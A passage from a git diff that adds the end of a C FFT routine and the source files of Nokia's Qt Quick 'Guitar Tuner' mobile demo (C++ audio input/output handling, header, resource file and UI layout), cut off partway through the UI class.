+ dradbg(ido,ip,l1,idl1,ch,ch,ch,c,c,wa+iw-1);
+ else
+ dradbg(ido,ip,l1,idl1,c,c,c,ch,ch,wa+iw-1);
+ if (ido==1)na=1-na;
+
+ L115:
+ l1=l2;
+ iw+=(ip-1)*ido;
+ }
+
+ if (na==0) return;
+
+ for (i=0;i<n;i++)c[i]=ch[i];
+}
+
+void __ogg_fdrfftb(int n, float *r, float *wsave, int *ifac){
+ if (n == 1) return;
+ drftb1(n, r, wsave, wsave+n, ifac);
+}
+
+STIN void dcsqb1(int n,float *x,float *w,float *xh,int *ifac){
+ int modn,i,k,kc;
+ int np2,ns2;
+ float xim1;
+
+ ns2=(n+1)>>1;
+ np2=n;
+
+ for (i=2;i<n;i+=2){
+ xim1=x[i-1]+x[i];
+ x[i]-=x[i-1];
+ x[i-1]=xim1;
+ }
+
+ x[0]+=x[0];
+ modn=n%2;
+ if (modn==0)x[n-1]+=x[n-1];
+
+ __ogg_fdrfftb(n,x,xh,ifac);
+
+ kc=np2;
+ for (k=1;k<ns2;k++){
+ kc--;
+ xh[k]=w[k-1]*x[kc]+w[kc-1]*x[k];
+ xh[kc]=w[k-1]*x[k]-w[kc-1]*x[kc];
+ }
+
+ if (modn==0)x[ns2]=w[ns2-1]*(x[ns2]+x[ns2]);
+
+ kc=np2;
+ for (k=1;k<ns2;k++){
+ kc--;
+ x[k]=xh[k]+xh[kc];
+ x[kc]=xh[k]-xh[kc];
+ }
+ x[0]+=x[0];
+}
+
+void __ogg_fdcosqb(int n,float *x,float *wsave,int *ifac){
+ static float tsqrt2 = 2.8284271247461900976033774484194;
+ float x1;
+
+ if (n<2){
+ x[0]*=4;
+ return;
+ }
+ if (n==2){
+ x1=(x[0]+x[1])*4;
+ x[1]=tsqrt2*(x[0]-x[1]);
+ x[0]=x1;
+ return;
+ }
+
+ dcsqb1(n,x,wsave,wsave+n,ifac);
+}
+
+
+
diff --git a/demos/mobile/guitartuner/src/guitartuner.cpp b/demos/mobile/guitartuner/src/guitartuner.cpp
new file mode 100644
index 00000000..43222f2d
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartuner.cpp
@@ -0,0 +1,359 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "guitartuner.h"
+
+#ifdef Q_OS_SYMBIAN
+#include <SoundDevice.h>
+#endif // Q_OS_SYMBIAN
+
+#if defined(Q_OS_SYMBIAN) && defined(ORIENTATIONLOCK)
+#include <eikenv.h>
+#include <eikappui.h>
+#include <aknenv.h>
+#include <aknappui.h>
+#endif // Q_OS_SYMBIAN && ORIENTATIONLOCK
+
+GuitarTuner::GuitarTuner(QWidget *parent) :
+ QMainWindow(parent)
+{
+
+ // Set up the QML.
+ m_guitarTunerUI = new QDeclarativeView(QUrl("qrc:/src/application.qml"), this);
+ setCentralWidget(m_guitarTunerUI);
+ m_guitarTunerUI->setResizeMode(QDeclarativeView::SizeRootObjectToView);
+ qmlObject = m_guitarTunerUI->rootObject();
+
+ // Init audio output and input.
+ initAudioOutput();
+ initAudioInput();
+
+ // Connect the quit signal of m_guitarTunerUI
+ // into the close slot of this.
+ connect(m_guitarTunerUI->engine(), SIGNAL(quit()), SLOT(close()));
+
+ // Connect the signals from qmlObject into proper slots
+ // of this and m_voicegenerator.
+ connect(qmlObject, SIGNAL(muteStateChanged(bool)),
+ SLOT(muteStateChanged(bool)));
+ connect(qmlObject, SIGNAL(volumeChanged(qreal)),
+ m_voicegenerator, SLOT(setAmplitude(qreal)));
+ connect(qmlObject, SIGNAL(volumeChanged(qreal)),
+ SLOT(setMaxVolumeLevel(qreal)));
+
+ // Connect the modeChanged signal from qmlObject
+ // into modeChanged slot of this class.
+ connect(qmlObject, SIGNAL(modeChanged(bool)),
+ SLOT(modeChanged(bool)));
+
+ // Connect the microphoneSensitivityChanged signal from
+ // m_guitarTunerUI into setCutOffPercentage slot of m_analyzer class.
+ connect(qmlObject, SIGNAL(microphoneSensitivityChanged(qreal)),
+ m_analyzer, SLOT(setCutOffPercentage(qreal)));
+
+ // Connect the signals from m_analyzer into slots of qmlObject.
+ connect(m_analyzer, SIGNAL(lowVoice()),
+ qmlObject, SLOT(lowVoice()));
+ connect(m_analyzer, SIGNAL(correctFrequency()),
+ qmlObject, SLOT(correctFrequencyObtained()));
+ connect(m_analyzer, SIGNAL(voiceDifference(QVariant)),
+ qmlObject, SLOT(voiceDifferenceChanged(QVariant)));
+
+ // Initialise the MaximumVoiceDifference
+ // value of qmlObject with the value obtained from m_analyzer.
+ qmlObject->setProperty("maxVoiceDifference",
+ m_analyzer->getMaximumVoiceDifference());
+
+ // Connect the targetFrequencyChanged signal of qmlObject
+ // into targetFrequencyChanged slot of this class.
+ connect(qmlObject, SIGNAL(targetFrequencyChanged(qreal)),
+ SLOT(targetFrequencyChanged(qreal)));
+
+ // Start voice output or input by using the modeChanged function,
+ // depending of the current mode.
+ modeChanged(qmlObject->property("isInput").toBool());
+
+}
+
+/**
+ * Inits audio output.
+ */
+void GuitarTuner::initAudioOutput()
+{
+ // Set up the output format.
+ m_format_output.setFrequency(DataFrequencyHzOutput);
+ m_format_output.setCodec("audio/pcm");
+ m_format_output.setSampleSize(16);
+ m_format_output.setChannels(1);
+ m_format_output.setByteOrder(QAudioFormat::LittleEndian);
+ m_format_output.setSampleType(QAudioFormat::SignedInt);
+
+ // Obtain a default output device, and if the format is not
+ // supported, find the nearest format available.
+ QAudioDeviceInfo outputDeviceInfo(
+ QAudioDeviceInfo::defaultOutputDevice());
+ if (!outputDeviceInfo.isFormatSupported(m_format_output)) {
+ m_format_output = outputDeviceInfo.nearestFormat(m_format_output);
+ }
+
+ // Create new QAudioOutput and VoiceGenerator instances, and store
+ // them in m_audioOutput and m_voicegenerator, respectively.
+ m_audioOutput = new QAudioOutput(outputDeviceInfo,
+ m_format_output, this);
+ m_voicegenerator = new VoiceGenerator(m_format_output,
+ qmlObject->property("frequency").toReal(),
+ qmlObject->property("volume").toReal(),
+ this);
+
+ // Connect m_audioOutput stateChanged signal to outputStateChanged.
+ connect(m_audioOutput, SIGNAL(stateChanged(QAudio::State)),
+ SLOT(outputStateChanged(QAudio::State)));
+}
+
+/**
+ * Inits audio input.
+ */
+void GuitarTuner::initAudioInput()
+{
+ // Set up the input format.
+ m_format_input.setFrequency(DataFrequencyHzInput);
+ m_format_input.setCodec("audio/pcm");
+ m_format_input.setSampleSize(16);
+ m_format_input.setChannels(1);
+ m_format_input.setByteOrder(QAudioFormat::LittleEndian);
+ m_format_input.setSampleType(QAudioFormat::SignedInt);
+
+ // Obtain a default input device, and if the format is not
+ // supported, find the nearest format available.
+ QAudioDeviceInfo inputDeviceInfo(
+ QAudioDeviceInfo::defaultInputDevice());
+ if (!inputDeviceInfo.isFormatSupported(m_format_input)) {
+ m_format_input = inputDeviceInfo.nearestFormat(m_format_input);
+ }
+
+ // Create new QAudioInput and VoiceAnalyzer instances, and store
+ // them in m_audioInput and m_analyzer, respectively.
+ // Remember to set the cut-off percentage for voice analyzer.
+ m_audioInput = new QAudioInput(inputDeviceInfo, m_format_input, this);
+ m_analyzer = new VoiceAnalyzer(m_format_input, this);
+ m_analyzer->setCutOffPercentage(qmlObject->property("sensitivity").toReal());
+
+}
+
+/**
+ * Receives a mode changed signal.
+ */
+void GuitarTuner::modeChanged(bool isInput)
+{
+
+
+
+ // If the mode must be changed to input mode:
+ if (isInput) {
+
+ // Stop audio output and audio generator.
+ m_audioOutput->stop();
+ m_voicegenerator->stop();
+ // Start the audio analyzer and then the audio input.
+ m_analyzer->start(qmlObject->property("frequency").toReal());
+ m_audioInput->start(m_analyzer);
+
+ }
+ // Else:
+ else {
+
+ // Stop audio input and audio analyzer.
+ m_audioInput->stop();
+ m_analyzer->stop();
+
+ // Set up the audio output.
+
+ // If the current frequency of voice generator
+ // is not the same as the target frequency selected in the UI,
+ // update voice generator's frequency.
+ if (m_voicegenerator->frequency() != qmlObject->property("frequency").toReal()) {
+ m_voicegenerator->setFrequency(qmlObject->property("frequency").toReal());
+ }
+
+ // Start the voice generator and then the audio output.
+ m_voicegenerator->start();
+ m_audioOutput->start(m_voicegenerator);
+ // Call setMaxVolumeLevel(1) to set the maximum volume louder.
+ setMaxVolumeLevel(qmlObject->property("volume").toReal());
+
+ // If the voice is muted, the voice is suspended
+ // in the outputStateChanged slot.
+
+ }
+}
+
+/**
+ * Receives a output state changed signal.
+ * Suspends the audio output, if the state is ActiveState
+ * and the voice is muted.
+ */
+void GuitarTuner::outputStateChanged(QAudio::State state)
+{
+ if (QAudio::ActiveState == state && qmlObject->property("isMuted").toBool()) {
+ // If the voice is muted, suspend the voice.
+ m_audioOutput->suspend();
+ }
+}
+
+/**
+ * Receives a mute state changed signal.
+ * Suspends the audio output or resumes it, depending of the
+ * isMuted parameter.
+ */
+void GuitarTuner::muteStateChanged(bool isMuted)
+{
+ if (isMuted) {
+ m_audioOutput->suspend();
+ }
+ else {
+ m_audioOutput->resume();
+ }
+}
+
+/**
+ * Receives a target frequency signal.
+ */
+void GuitarTuner::targetFrequencyChanged(qreal targetFrequency)
+{
+ // If the output mode is active:
+ if (!qmlObject->property("isInput").toBool()) {
+ // Stop the audio output and voice generator.
+ m_audioOutput->stop();
+ m_voicegenerator->stop();
+ // Set the voice generator's frequency to the target frequency.
+ m_voicegenerator->setFrequency(targetFrequency);
+ // Start the voice generator and audio output.
+ m_voicegenerator->start();
+ m_audioOutput->start(m_voicegenerator);
+ // Call setMaxVolumeLevel(1) to set the maximum volume louder.
+ setMaxVolumeLevel(qmlObject->property("volume").toReal());
+
+ // If the voice is muted, the voice is suspended
+ // in the outputStateChanged slot.
+
+ }
+ // Else:
+ else {
+
+ // Stop the audio input and voice analyzer.
+ m_audioInput->stop();
+ m_analyzer->stop();
+ // Start the voice analyzer with new frequency and audio input.
+ m_analyzer->start(targetFrequency);
+ m_audioInput->start(m_analyzer);
+
+ }
+}
+
+/**
+ * This method provides a hack to set the maximum volume level in
+ * Symbian.
+ */
+void GuitarTuner::setMaxVolumeLevel(qreal percent)
+{
+ if (percent >= 1.0) {
+ percent = 1.0;
+ }
+ else if (percent <= 0.0) {
+ percent = 0.0;
+ }
+ percent = percent*0.5 + 0.5;
+ // Warning! This is a hack, which can break when the QtMobility
+ // changes. Use at your own risk.
+#ifdef Q_OS_SYMBIAN
+ unsigned int *pointer_to_abstract_audio
+ = (unsigned int*)( (unsigned char*)m_audioOutput + 8 );
+ unsigned int *dev_sound_wrapper
+ = (unsigned int*)(*pointer_to_abstract_audio) + 16;
+ unsigned int *temp
+ = ((unsigned int*)(*dev_sound_wrapper) + 6);
+ CMMFDevSound *dev_sound = (CMMFDevSound*)(*temp);
+ dev_sound->SetVolume((unsigned int)
+ (percent*(float)dev_sound->MaxVolume()));
+#endif
+}
+
+/**
+ * A function used to lock the orientation.
+ */
+void GuitarTuner::setOrientation(Orientation orientation)
+{
+#ifdef Q_OS_SYMBIAN
+ if (orientation != Auto) {
+#if defined(ORIENTATIONLOCK)
+ const CAknAppUiBase::TAppUiOrientation uiOrientation =
+ (orientation == LockPortrait)
+ ? CAknAppUi::EAppUiOrientationPortrait
+ : CAknAppUi::EAppUiOrientationLandscape;
+ CAknAppUi* appUi = dynamic_cast<CAknAppUi*>
+ (CEikonEnv::Static()->AppUi());
+ TRAPD(error,
+ if (appUi)
+ appUi->SetOrientationL(uiOrientation);
+ );
+#else // ORIENTATIONLOCK
+ qWarning(QString("'ORIENTATIONLOCK' needs to be defined on")
+ +QString(" Symbian when locking the orientation."));
+#endif // ORIENTATIONLOCK
+ }
+#elif defined(Q_WS_MAEMO_5)
+ Qt::WidgetAttribute attribute;
+ switch (orientation) {
+ case LockPortrait:
+ attribute = Qt::WA_Maemo5PortraitOrientation;
+ break;
+ case LockLandscape:
+ attribute = Qt::WA_Maemo5LandscapeOrientation;
+ break;
+ case Auto:
+ default:
+ attribute = Qt::WA_Maemo5AutoOrientation;
+ break;
+ }
+ setAttribute(attribute, true);
+#else // Q_OS_SYMBIAN
+ Q_UNUSED(orientation);
+#endif // Q_OS_SYMBIAN
+}
diff --git a/demos/mobile/guitartuner/src/guitartuner.h b/demos/mobile/guitartuner/src/guitartuner.h
new file mode 100644
index 00000000..fbb16f7c
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartuner.h
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef MAINWINDOW_H
+#define MAINWINDOW_H
+
+#include <QMainWindow>
+#include <QtDeclarative>
+#include <QAudioDeviceInfo>
+#include <QAudioOutput>
+#include <QAudioInput>
+#include "voicegenerator.h"
+#include "voiceanalyzer.h"
+
+const int DataFrequencyHzOutput = 44100;
+const int DataFrequencyHzInput = 48000;
+
+#define MAX_INPUT_VALUE 50
+#define MIN_INPUT_VALUE -50
+
+class GuitarTuner : public QMainWindow
+{
+ Q_OBJECT
+public:
+ enum Orientation {
+ LockPortrait,
+ LockLandscape,
+ Auto
+ };
+ explicit GuitarTuner(QWidget *parent = 0);
+ qreal getVolume();
+ qreal getMicrophoneSensitivity();
+ bool getMuteState();
+ void setOrientation(Orientation orientation);
+
+signals:
+
+public slots:
+ void modeChanged(bool isInput);
+ void muteStateChanged(bool isMuted);
+ void targetFrequencyChanged(qreal targetFrequency);
+ void outputStateChanged(QAudio::State state);
+ void setMaxVolumeLevel(qreal);
+
+private:
+ void initAudioOutput();
+ void initAudioInput();
+ VoiceGenerator *m_voicegenerator;
+ VoiceAnalyzer *m_analyzer;
+ QObject *qmlObject;
+ QAudioOutput *m_audioOutput;
+ QAudioInput *m_audioInput;
+ QAudioFormat m_format_output;
+ QAudioFormat m_format_input;
+ QDeclarativeView *m_guitarTunerUI;
+};
+
+#endif // MAINWINDOW_H
diff --git a/demos/mobile/guitartuner/src/guitartuner.rc b/demos/mobile/guitartuner/src/guitartuner.rc
new file mode 100644
index 00000000..5cd35118
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartuner.rc
@@ -0,0 +1,23 @@
+IDI_ICON1 ICON DISCARDABLE "/../images/guitartuner_icon.ico"
+
+1 VERSIONINFO
+FILEVERSION 1,2,0,0
+PRODUCTVERSION 1,2,0,0
+BEGIN
+ BLOCK "StringFileInfo"
+ BEGIN
+ BLOCK "040904E4"
+ BEGIN
+ VALUE "CompanyName", "Nokia Corporation\0"
+ VALUE "FileDescription", "Qt Quick example application.\0"
+ VALUE "FileVersion", "1.2.0\0"
+ VALUE "LegalCopyright", "Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies)."
+ VALUE "ProductName", "Guitar Tuner\0"
+ VALUE "ProductVersion", "1.2.0\0"
+ END
+ END
+ BLOCK "VarFileInfo"
+ BEGIN
+ VALUE "Translation", 0x409, 1252
+ END
+END
diff --git a/demos/mobile/guitartuner/src/guitartuner.ui b/demos/mobile/guitartuner/src/guitartuner.ui
new file mode 100644
index 00000000..36ee1bd8
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartuner.ui
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>GuitarTuner</class>
+ <widget class="QWidget" name="GuitarTuner">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>187</width>
+ <height>279</height>
+ </rect>
+ </property>
+ <property name="windowTitle">
+ <string>GuitarTuner</string>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout_2">
+ <item>
+ <widget class="QLabel" name="tabulatorIcon">
+ <property name="text">
+ <string notr="true"/>
+ </property>
+ <property name="pixmap">
+ <pixmap resource="../guitartuner.qrc">:/images/guitartab.svg</pixmap>
+ </property>
+ <property name="alignment">
+ <set>Qt::AlignCenter</set>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QSlider" name="correctSoundSlider">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="autoFillBackground">
+ <bool>false</bool>
+ </property>
+ <property name="minimum">
+ <number>-50</number>
+ </property>
+ <property name="maximum">
+ <number>50</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="tickPosition">
+ <enum>QSlider::TicksAbove</enum>
+ </property>
+ <property name="tickInterval">
+ <number>50</number>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <widget class="QToolButton" name="buttonPrev">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Preferred" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="arrowType">
+ <enum>Qt::LeftArrow</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="noteLabel">
+ <property name="text">
+ <string>A</string>
+ </property>
+ <property name="alignment">
+ <set>Qt::AlignCenter</set>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="buttonNext">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Preferred" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="autoRaise">
+ <bool>false</bool>
+ </property>
+ <property name="arrowType">
+ <enum>Qt::RightArrow</enum>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item>
+ <widget class="QPushButton" name="modeButton">
+ <property name="text">
+ <string>Change mode</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="Line" name="line">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <item>
+ <widget class="QSlider" name="soundSlider">
+ <property name="value">
+ <number>65</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QToolButton" name="soundButton">
+ <property name="text">
+ <string>...</string>
+ </property>
+ <property name="icon">
+ <iconset resource="../guitartuner.qrc">
+ <normaloff>:/images/note.svg</normaloff>
+ <normalon>:/images/noteNo.svg</normalon>
+ <activeon>:/images/noteNo.svg</activeon>:/images/note.svg</iconset>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>30</width>
+ <height>30</height>
+ </size>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="micSensitivityLabel">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Fixed" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>microphone
+sensitivity</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </widget>
+ <layoutdefault spacing="6" margin="11"/>
+ <resources>
+ <include location="../guitartuner.qrc"/>
+ </resources>
+ <connections/>
+</ui>
diff --git a/demos/mobile/guitartuner/src/guitartunerui.cpp b/demos/mobile/guitartuner/src/guitartunerui.cpp
new file mode 100644
index 00000000..24357b3b
--- /dev/null
+++ b/demos/mobile/guitartuner/src/guitartunerui.cpp
@@ -0,0 +1,341 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QTimer>
+
+#include "guitartunerui.h"
+#include "ui_guitartunerui.h"
+
+GuitarTunerUI::GuitarTunerUI(QWidget *parent) :
+ QWidget(parent),
+ ui(new Ui::GuitarTunerUI),
+ m_maximumPrecision(0)
+{
+ ui->setupUi(this);
+
+ // Set up the class attributes to proper values.
+ m_outputActive = false;
+ m_muted = false;
+ m_outputVolumeLevel = getVolumeFromSoundSlider();
+ m_inputVolumeLevel = 1.0 - m_outputVolumeLevel;
+
+ // Set up the current tone, the frequency, and the name for it.
+ m_currentToneIndex = 5;
+ updateFrequencyByToneIndex(m_currentToneIndex);
+
+ // Connect the signals from UI into proper slots.
+ connect(ui->soundSlider, SIGNAL(valueChanged(int)),
+ SLOT(changeVolume()));
+ connect(ui->soundButton, SIGNAL(toggled(bool)),
+ SLOT(toggleSound(bool)));
+ connect(ui->modeButton, SIGNAL(clicked()),
+ SLOT(toggleInputOrOutput()));
+ connect(ui->buttonNext, SIGNAL(clicked()), SLOT(next()));
+ connect(ui->buttonPrev, SIGNAL(clicked()), SLOT(prev()));
+
+ // Initialise up the UI by calling toggleInputOrOutput
+ // for the first time.
+ toggleInputOrOutput();
+}
+
+GuitarTunerUI::~GuitarTunerUI()
+{
+ delete ui;
+}
+
+void GuitarTunerUI::changeEvent(QEvent *e)
+{
+ QWidget::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ break;
+ default:
+ break;
+ }
+}
+
+/**
+ * Returns a value from 0 to 1, representing the volume.
+ */
+qreal GuitarTunerUI::getVolumeFromSoundSlider() const
+{
+ qreal value = ui->soundSlider->value();
+ return value/ui->soundSlider->maximum();
+}
+
+/**
+ * Updates the m_currentToneFrequency and m_currentToneString,
+ * according to the given index. Also updates the UI.
+ */
+void GuitarTunerUI::updateFrequencyByToneIndex(int index)
+{
+
+ switch (index) {
+ case 0: {
+ m_currentToneFrequency = FrequencyE;
+ m_currentToneString = "E";
+ break;
+ }
+ case 1: {
+ m_currentToneFrequency = FrequencyA;
+ m_currentToneString = "A";
+ break;
+ }
+ case 2: {
+ m_currentToneFrequency = FrequencyD;
+ m_currentToneString = "D";
+ break;
+ }
+ case 3: {
+ m_currentToneFrequency = FrequencyG;
+ m_currentToneString = "G";
+ break;
+ }
+ case 4: {
+ m_currentToneFrequency = FrequencyB;
+ m_currentToneString = "B";
+ break;
+ }
+ case 5: {
+ m_currentToneFrequency = FrequencyE2;
+ m_currentToneString = "e";
+ break;
+ }
+ default: {
+ qDebug() << "invalid index!" << index;
+ }
+ }
+ // Set the noteLabel text according to the current tone.
+ ui->noteLabel->setText(m_currentToneString);
+}
+
+/**
+ * Returns the volume.
+ */
+qreal GuitarTunerUI::getVolume() const
+{
+ return m_outputVolumeLevel;
+}
+
+/**
+ * Returns true if the sound is muted.
+ */
+bool GuitarTunerUI::getMuteState() const
+{
+ return m_muted;
+}
+
+
+/**
+ * Returns the microphone sensitivity.
+ */
+qreal GuitarTunerUI::getMicrophoneSensitivity() const
+{
+ return m_inputVolumeLevel;
+}
+
+/**
+ * Returns whether the input mode is active.
+ */
+bool GuitarTunerUI::isInputModeActive() const
+{
+ return !m_outputActive;
+}
+
+/**
+ * Returns the current target frequency.
+ */
+qreal GuitarTunerUI::getFrequency() const
+{
+ return m_currentToneFrequency;
+}
+
+/**
+ * Toggles the sound according to the parameter.
+ * Has no effect if output is not active.
+ */
+void GuitarTunerUI::toggleSound(bool noSound)
+{
+ if (!m_outputActive) {
+ return;
+ }
+ m_muted = noSound;
+ emit muteChanged(m_muted);
+}
+
+/**
+ * Changes the volume or microphone sensitivity.
+ */
+void GuitarTunerUI::changeVolume()
+{
+ qreal resultingAmplitude = getVolumeFromSoundSlider();
+ qDebug() << "resultingAmplitude" << resultingAmplitude;
+ if (m_outputActive) {
+ m_outputVolumeLevel = resultingAmplitude;
+ emit volumeChanged(resultingAmplitude);
+ }
+ else {
+ m_inputVolumeLevel = resultingAmplitude;
+ emit microphoneSensitivityChanged(1.0-resultingAmplitude);
+ }
+}
+
+/**
+ * Toggles input or output, depending of the current state.
+ */
+void GuitarTunerUI::toggleInputOrOutput()
+{
+ // If output mode is active:
+ if (m_outputActive) {
+ // Change UI to correspond to the input mode.
+ m_outputActive = false;
+ ui->soundSlider->setValue(m_inputVolumeLevel*100);
+ ui->soundButton->setDisabled(true);
+ ui->soundButton->hide();
+ ui->micSensitivityLabel->show();
+ emit modeChanged(true);
+ ui->modeButton->setText("To tone mode");
+ }
+ // Else:
+ else {
+ // Change UI to correspond to the output mode.
+ m_outputActive = true;
